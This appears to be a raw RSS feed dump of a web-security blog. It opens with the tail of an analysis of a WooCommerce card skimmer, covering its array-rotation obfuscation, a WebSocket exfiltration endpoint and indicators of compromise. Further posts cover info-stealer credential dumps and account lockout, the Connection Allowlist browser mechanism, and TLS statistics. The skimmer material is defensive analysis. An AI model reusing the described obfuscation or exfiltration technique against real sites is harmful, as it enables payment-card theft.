    }</code></pre><p></p><p>It keeps rotating the array &#x2014; moving the first element to the end, over and over &#x2014; until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don&apos;t correspond to their actual positions until the correct rotation is found.</li><li>You can&apos;t statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id="how-report-uri-would-have-caught-this">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch &#x2014; and it would have tripped two separate alarms. <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> fingerprints your JavaScript assets using our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you&apos;d have known. If that wasn&apos;t enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI&apos;s reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce &#x2014; or any page where payment card data touches the browser &#x2014; these controls aren&#x2019;t nice-to-haves. They&#x2019;re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">Report URI</a>. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Under Attack: Responding to the Rise of Info-Stealer Threats]]></title><description><![CDATA[<p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>]]></description><link>https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/</link><guid isPermaLink="false">69bbb64cbfb9340001a6c265</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Info Stealer]]></category><category><![CDATA[Pwned Passwords]]></category><category><![CDATA[Have I Been Pwned]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 11 May 2026 13:10:11 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" alt="Under Attack: Responding to the Rise of Info-Stealer Threats"><p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we&#x2019;ve introduced as a result.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="info-stealers">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we&apos;re dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user&apos;s device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user&apos;s device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id="existing-account-security-controls">Existing Account Security Controls</h3><p>We&apos;re pretty open about how we do things at Report URI, and we&apos;ve already published a lot of information about how we handle account security. You can read my full blog post on <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">boosting password security</a>, but here&apos;s a summary of the existing measures we have in place:</p><p></p><h4 id="zxcvbn">zxcvbn</h4><p>If you haven&apos;t heard of <a href="https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk" rel="noreferrer">zxcvbn</a>, you should absolutely go and check it out. It&apos;s a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn&apos;t meet our complexity requirements, it isn&apos;t allowed to be used.</p><p></p><h4 id="password-managers">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id="two-factor-authentication">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id="password-hashing">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class="language-php">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 id="bot-mitigation">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id="pwned-passwords">Pwned Passwords</h4><p>We make use of the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id="none-of-that-matters">None of that matters</h3><p>And this is the problem! Despite all of the work that we&apos;ve done above, if an info-stealer malware has infected a device and reads the user&apos;s password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id="our-existing-process">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn&apos;t introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href="https://report-uri.com/register/?ref=scotthelme.ghost.io" rel="noreferrer">registration page</a> and try to register with the password &quot;correcthorsebatterystaple&quot; (<a href="https://xkcd.com/936/?ref=scotthelme.ghost.io" rel="noreferrer">source</a> if you don&apos;t get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="477" height="802"></figure><p></p><p>You&apos;re not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can&apos;t change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id="identifying-the-gap">Identifying the gap</h3><p>The problem we have here is that because passwords are stored as a salted hash in our database, we don&apos;t have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="757" height="173" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we&apos;ve had for a long time, but it doesn&apos;t quite go far enough. If an attacker has your password and is able to login to your account, there&apos;s a good chance that they&apos;re probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id="the-new-account-lockout-process">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we&apos;re only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="488" height="529"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id="service-wide-improvements">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don&apos;t store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href="https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io" rel="noreferrer">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It&apos;s worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id="future-considerations">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we&apos;re aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we&apos;ve done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id="what-should-users-do">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>]]></content:encoded></item></channel></rss>
    Raw headers
    {
      "age": "6837",
      "alt-svc": "clear",
      "cache-control": "public, max-age=0",
      "cf-cache-status": "DYNAMIC",
      "cf-ray": "a2250803cf3b6019-CMH",
      "connection": "close",
      "content-type": "application/rss+xml; charset=utf-8",
      "date": "Tue, 28 Jul 2026 15:49:00 GMT",
      "etag": "W/\"46461-d6wevDGtD1AjvylA0pGNtdt+GwE\"",
      "ghost-fastly": "true;production",
      "nel": "{\"report_to\":\"cf-nel\",\"success_fraction\":0.0,\"max_age\":604800}",
      "report-to": "{\"group\":\"cf-nel\",\"max_age\":604800,\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=vtgL3olu0sw3ig6DJYQ3KvsMtja8qfvfu4i6o7byAiaMAqEXXyRVcGGbBlqyfz9TeIye5H3TKYkj54YHIs0VP7cnals9wV4ORAuw0Wk%2BiYL%2Fb8PRZeiZaGxoSwXvD9AcY2UQxfQmwP1jrAzy4tc%3D\"}]}",
      "server": "cloudflare",
      "status": "200 OK",
      "transfer-encoding": "chunked",
      "vary": "Cookie, Accept-Encoding",
      "via": "1.1 varnish, 1.1 varnish, 1.1 varnish",
      "x-cache": "MISS, HIT, HIT",
      "x-cache-hits": "0, 18, 0",
      "x-request-id": "a76c9a2a-c56b-42f4-90c3-7e3dd3deee52",
      "x-served-by": "cache-ams-eham8680089-AMS, cache-ams-eham8680089-AMS, cache-ams-eham8680089-AMS, cache-cmh1290090-CMH",
      "x-timer": "S1785253740.234297,VS0,VE1"
    }
    Parsed with @rowanmanning/feed-parser
    {
      "meta": {
        "type": "rss",
        "version": "2.0"
      },
      "language": null,
      "title": "Scott Helme",
      "description": "Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.",
      "copyright": null,
      "url": "https://scotthelme.ghost.io/",
      "self": "https://scotthelme.ghost.io/rss/",
      "published": null,
      "updated": "2026-07-28T13:55:03.000Z",
      "generator": {
        "label": "Ghost 6.55",
        "version": null,
        "url": null
      },
      "image": {
        "title": "Scott Helme",
        "url": "https://scotthelme.ghost.io/favicon.png"
      },
      "authors": [],
      "categories": [],
      "items": [
        {
          "id": "6a4e2b165807de0001a05af5",
          "title": "Connection Allowlist: a network firewall, built into the browser",
          "description": "<p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it's permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It's currently a</p>",
          "url": "https://scotthelme.ghost.io/connection-allowlist-a-network-firewall-built-into-the-browser/",
          "published": "2026-07-08T16:11:31.000Z",
          "updated": "2026-07-08T16:11:31.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png\" alt=\"Connection Allowlist: a network firewall, built into the browser\"><p>Connection Allowlist is a new browser security mechanism that lets a document declare, up front, the exact set of destinations it's permitted to open network connections to. Anything not on the list is blocked by the browser before the connection leaves the machine. It's currently a <a href=\"https://wicg.github.io/connection-allowlists/?ref=scotthelme.ghost.io\">WICG proposal</a> (<a href=\"https://github.com/WICG/connection-allowlists?ref=scotthelme.ghost.io\">repo here</a>) running as a Chrome origin trial, and Report URI now collects the violation reports it emits.</p><p>This post covers how the mechanism works, how it differs from CSP, and the shape of the reports.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png\" class=\"kg-image\" alt=\"Connection Allowlist: a network firewall, built into the browser\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"what-it-does\">What it does</h3><p>Before any outbound connection is established, the browser checks the destination against the allowlist. If it doesn't match, the connection is blocked at the network layer. This applies regardless of what initiated the connection — the policy is a property of the document, not of the code running in it.</p><p>The connection types covered are deliberately broad: <code>fetch()</code>/XHR, subresource requests, WebSocket, WebTransport, DNS prefetch, preload, navigations, redirects and WebRTC are all evaluated against the same list.</p><p></p><pre><code>Connection-Allowlist: (response-origin \"https://cdn.example.com\" \"https://api.example.com/*\")</code></pre><p></p><p>Two categories get a stricter default and their own parameters:</p><ul><li><strong>Redirects</strong> are blocked by default. The reasoning in the spec is that once a<br>request has left the client, the server it went to controls where it's<br>redirected next, so a matching initial URL is no guarantee. You opt back in<br>with <code>redirects=allow</code>.</li><li><strong>WebRTC</strong> is blocked by default (<code>webrtc=block</code>), because peer connections<br>use dynamic endpoint discovery that URL patterns can't meaningfully describe.<br><code>webrtc=allow</code> permits it.</li></ul><p>Local schemes (<code>data:</code>, <code>about:</code>) bypass the check. The mechanism only governs network communication — it does nothing about content injection or XSS. It's a containment control: it limits where an already-running script can send data, not whether that script can run.</p><p></p><h3 id=\"how-this-differs-from-csp\">How this differs from CSP</h3><p>Content Security Policy can already restrict many outbound connections, with features like <code>connect-src</code>, <code>form-action</code> and others, so it's worth clarifying how Connection Allowlist differs. </p><p>Simply put, Connection Allowlist incorporates <strong><em>all</em></strong> outbound connections without the need for an extensive set of directives that would be required in CSP, and some of which you can't currently exert control over. Any outbound connection from the page is in scope. Period.</p><p>The two mechanisms complement each other rather than compete. CSP remains the right control for deciding which scripts, styles, images, frames and other resources a page is allowed to load and execute, while Connection Allowlist adds a broader network boundary around where that page can communicate. Used together, CSP helps prevent untrusted code and content from entering the page in the first place, and Connection Allowlist limits the damage if malicious code does run by further restricting where it can send data. For sensitive applications, the strongest position is to deploy both: CSP for content and execution control, and Connection Allowlist for outbound network containment.</p><p></p><h3 id=\"reports\">Reports</h3><p>As with any powerful feature, you're going to want to test this before you deploy, and for that, we have the typical format of Report-Only header.</p><p></p><pre><code>Connection-Allowlist-Report-Only: (response-origin \"https://api.example.com/*\"); report-to=default\n</code></pre><p></p><p>Violations are delivered through the Reporting API to the endpoint named by the <code>report-to</code> group. The report <code>type</code> is <code>connection-allowlist</code> and the body identifies the destination that was blocked:</p><p></p><pre><code class=\"language-json\">{\n  \"type\": \"connection-allowlist\",\n  \"body\": {\n    \"url\": \"https://report-uri.com/account\",\n    \"connection\": \"https://blocked.example/collect.js\",\n    \"allowlist\": [\"https://api.example.com/*\"],\n    \"disposition\": \"report\"\n  }\n}</code></pre><p></p><p><code>connection</code> is the destination that tripped the policy, <code>allowlist</code> is the<br>declared policy, <code>disposition</code> is <code>enforce</code> or <code>report</code>, and <code>url</code> is the page that the browser was visiting when this happened.</p><p>Report-only is how you deploy this without the risk of breaking anything: serve it, collect what your pages actually connect to, refine the allowlist until it's clean, then switch to the enforcing header. During the origin trial, reporting is limited to document contexts — dedicated, shared and service workers aren't covered yet.</p><p></p><h3 id=\"availability\">Availability</h3><p>The feature is a Chrome origin trial (<a href=\"https://developer.chrome.com/blog/connection-allowlists-origin-trial?ref=scotthelme.ghost.io\">announcement</a>) running from Chrome 148 to 151, after which Chrome will assess whether the feature is ready to progress towards shipping.</p><p>Report URI collects Connection Allowlist reports already, currently behind a beta flag. It works the same way as the existing browser report types: point the<br><code>report-to</code> group of your <code>Connection-Allowlist-Report-Only</code> header at your Report URI group and the reports land on a Connection Allowlist reports page, showing the page URL, the blocked connection, the enforce/report-only disposition, the raw report and counts.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png\" class=\"kg-image\" alt=\"Connection Allowlist: a network firewall, built into the browser\" loading=\"lazy\" width=\"1386\" height=\"770\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/07/connection-allowlist-reports.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/07/connection-allowlist-reports.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-reports.png 1386w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If you'd like to join to the beta, please reach out to support@ and we'll add your account. </p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/07/connection-allowlist-hero.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Connection Allowlist",
              "term": "Connection Allowlist",
              "url": null
            },
            {
              "label": "1.1.1.1",
              "term": "1.1.1.1",
              "url": null
            }
          ]
        },
        {
          "id": "6a2e9db5d237ab0001bd2a7e",
          "title": "Top 1 Million Analysis – June 2026: The State of Crypto",
          "description": "<p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Part one</a> covered the broad state of the web — HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I've been most excited to write: a focused look at the</p>",
          "url": "https://scotthelme.ghost.io/top-1-million-analysis-june-2026-the-state-of-crypto/",
          "published": "2026-07-01T11:57:14.000Z",
          "updated": "2026-07-01T11:57:14.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-2.png\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\"><p>This is part two of the ten-year anniversary Top 1 Million Analysis. <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Part one</a> covered the broad state of the web — HTTPS, the security headers, cookies, email and DNS hygiene. This part is the bit I've been most excited to write: a focused look at the cryptography underpinning the top 1 million sites — TLS, certificates, the keys behind them, and the genuinely historic arrival of post-quantum key exchange at scale.</p><p>As before, the numbers below come from the 13 June 2026 crawl of the <a href=\"https://tranco-list.eu/?ref=scotthelme.ghost.io\">Tranco</a> Top 1 Million (819,002 responding sites), powered by <a href=\"https://crawler.ninja/?ref=scotthelme.ghost.io\">Crawler.Ninja</a> and <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\">Report URI</a>. For this anniversary edition I rebuilt a big chunk of the crawler's TLS measurement — including a move to OpenSSL 3.5 so it can negotiate post-quantum groups — so several of the metrics here are brand new.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"introduction\">Introduction</h3><p>In <a href=\"https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">part one</a>, we looked at the broader state of web security across the Tranco Top 1 Million and found a familiar story: lots of progress, but still plenty of rough edges. In this second part, we’re going deeper into the cryptographic foundations of the modern web: TLS versions, cipher suites, key exchange, certificate lifetimes, certificate authorities, CAA, OCSP, ECH, and even the early signs of post-quantum TLS. The good news is that, in many areas, the web has moved on dramatically from where it was ten years ago. The even more interesting news is that some of the biggest changes are now happening quietly, at enormous scale, because of defaults set by the platforms and providers that sit underneath much of the web.</p><p></p><h3 id=\"certificates\">Certificates</h3><p>The certificate landscape has genuinely shifted since 2022. Let's Encrypt remains enormous, with 302,116 sites using one of their certificates, up 30%. Google Trust Services’ <code>WE1</code> intermediate alone now accounts for 193,069 sites, making it the largest individual issuing intermediate in the dataset — even though Let’s Encrypt remains the largest issuer overall. The free, automated, short-lived CA model has well and truly won.</p><p></p>\n<!--kg-card-begin: html-->\n<table>\n<thead>\n<tr>\n<th>Certificate Authority</th>\n<th>Count</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Google Trust Services — WE1</td>\n<td>193,069</td>\n</tr>\n<tr>\n<td>Let's Encrypt — R12</td>\n<td>59,705</td>\n</tr>\n<tr>\n<td>Let's Encrypt — R13</td>\n<td>59,496</td>\n</tr>\n<tr>\n<td>Let's Encrypt — E8</td>\n<td>48,754</td>\n</tr>\n<tr>\n<td>Let's Encrypt — E7</td>\n<td>48,564</td>\n</tr>\n<tr>\n<td>Let's Encrypt — YE2</td>\n<td>23,702</td>\n</tr>\n<tr>\n<td>Let's Encrypt — YE1</td>\n<td>23,467</td>\n</tr>\n<tr>\n<td>Sectigo — Public Server Authentication CA DV R36</td>\n<td>19,879</td>\n</tr>\n<tr>\n<td>Let's Encrypt — YR1</td>\n<td>19,159</td>\n</tr>\n<tr>\n<td>Let's Encrypt — YR2</td>\n<td>18,986</td>\n</tr>\n</tbody>\n</table>\n<!--kg-card-end: html-->\n<p></p><p>If we look at the absolute numbers, though, Let's Encrypt are still dominating in total issuance.</p><p></p><table>\n<thead>\n<tr>\n<th>Issuer</th>\n<th>Certs</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Let's Encrypt</td>\n<td>302,116</td>\n</tr>\n<tr>\n<td>Google Trust Services</td>\n<td>203,436</td>\n</tr>\n<tr>\n<td>Amazon</td>\n<td>37,690</td>\n</tr>\n<tr>\n<td>DigiCert</td>\n<td>34,961</td>\n</tr>\n<tr>\n<td>Sectigo</td>\n<td>29,006</td>\n</tr>\n<tr>\n<td>GlobalSign</td>\n<td>17,891</td>\n</tr>\n<tr>\n<td>GoDaddy</td>\n<td>7,999</td>\n</tr>\n</tbody>\n</table>\n<p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/lets-encrypt.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"2000\" height=\"979\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/lets-encrypt.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/lets-encrypt.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/lets-encrypt.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/lets-encrypt.png 2400w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>You can see the consequence of the new certificate model in the death of the alternative: <a href=\"https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Extended Validation</a> certificates are now on just 4,186 sites, down another 51% since 2022 and a fraction of the 15,604 we saw in 2020. EV has been a dead format walking for years and the numbers now read like an obituary.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png\" class=\"kg-image\" alt=\"Top 1 Million Analysis – June 2026: The State of Crypto\" loading=\"lazy\" width=\"1000\" height=\"554\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-8.png 1000w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Two newer certificate metrics this year. 657,853 sites (around 80% of responders) serve certificates with embedded <a href=\"https://scotthelme.co.uk/certificate-transparency-an-introduction/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Certificate Transparency SCTs</a> — CT is now essentially universal, which is exactly what you want. And 319,192 sites use a wildcard certificate, a reminder that wildcard sprawl is extremely common and worth keeping an eye on from a blast-radius perspective.</p><p></p><figure class=\"kg-card kg-image-card\"><img 